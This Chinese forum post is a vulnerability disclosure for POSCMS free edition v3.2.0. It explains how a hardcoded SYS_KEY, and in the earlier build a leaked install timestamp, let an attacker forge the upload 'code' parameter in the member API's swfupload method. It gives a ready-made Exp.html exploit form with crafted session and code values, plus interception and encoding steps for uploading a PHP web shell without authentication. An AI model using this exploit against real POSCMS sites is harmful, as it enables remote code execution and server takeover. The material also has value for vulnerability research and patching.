用户
搜索

POSCMS v3.2.0(免费版)前台无限制Getshell

2018-9-21 10:12| 发布者: 桃子Tz| 查看: 71| 评论: 0|原作者: w_uai


版本:POSCMS免费版v3.2.0 bulid 20180829

下载地址:https://gitee.com/dayrui/poscms (这是更新过的版本了,看了下代码好像并没有修复,本地未搭建测试)

漏洞详情:

漏洞文件:\diy\module\member\controllers\Api.php 中的swfupload方法:





跟进upload类文件:\diy\dayrui\libraries\Upload.php



可以看到将我们传入的allowed_types设置到了属性allowed_types中。


接下来看do_upload这个关键的上传方法,看其中的判断文件的合法性:





后面还有个is_allowed_dimensions函数验证,就是验证Content-Type:直接抓包修改就是了。漏洞已经大概出现了,现在就需要回溯了.




回溯:


现在回到最开始的控制$code地方:



$code = str_replace(' ', '+', $this->input->post('code'));

list($size, $ext, $path) = explode('|', dr_authcode($code, 'DECODE'));



跟进dr_authcode加密函数发现是dz的加密函数,所以只要得到SYS_KEY就可以随意加密解密了.

SYS_KEY在文件\config\system.php 中定义:



'SYS_KEY'                       => 'poscms2e0f1c2675dd3e2f4d97a7db18812662', //安全密钥



在该POSCMS免费版v3.2.0 bulid 20180829版本中为固定值,所以造成了code可控.


P.S:在上一个版本20180802中,存在一样的问题,但是 SYS_KEY 在install.php中生成:



'SYS_KEY' => 'poscms'.md5(time()),



看似很安全,但是后面却有这样一段代码:



file_put_contents(WEBPATH.'cache/install.lock', time());



导致了直接泄露了time(),直接访问cache/install.lock即可得到time,尝试个3-5次就能得到SYS_KEY了。




漏洞利用:

Exp.html



<html>
<body>
<form action="http://poscms.com/index.php?s=member&c=api&m=swfupload" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata"/>
<input type="text" name="session" value="1178lbQGJyjNRo2uPdUpyiPW+s4rEvubOUeKubxL" style="display:none"/><br>
<input type="text" name="code" value="3874/Cfq8vWPoz9JMjT+FDhFPrCn7NikMyxV367LH+Sf4Q" style="display:none"/>
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

存为html代码,然后上传抓包:



使用ctrl+shift+U 快捷键将%85进行编码,即可上传php文件.


鲜花
鲜花
握手
握手
雷人
雷人 (1)
路过
路过
鸡蛋
鸡蛋

刚表态过的朋友 (1 人)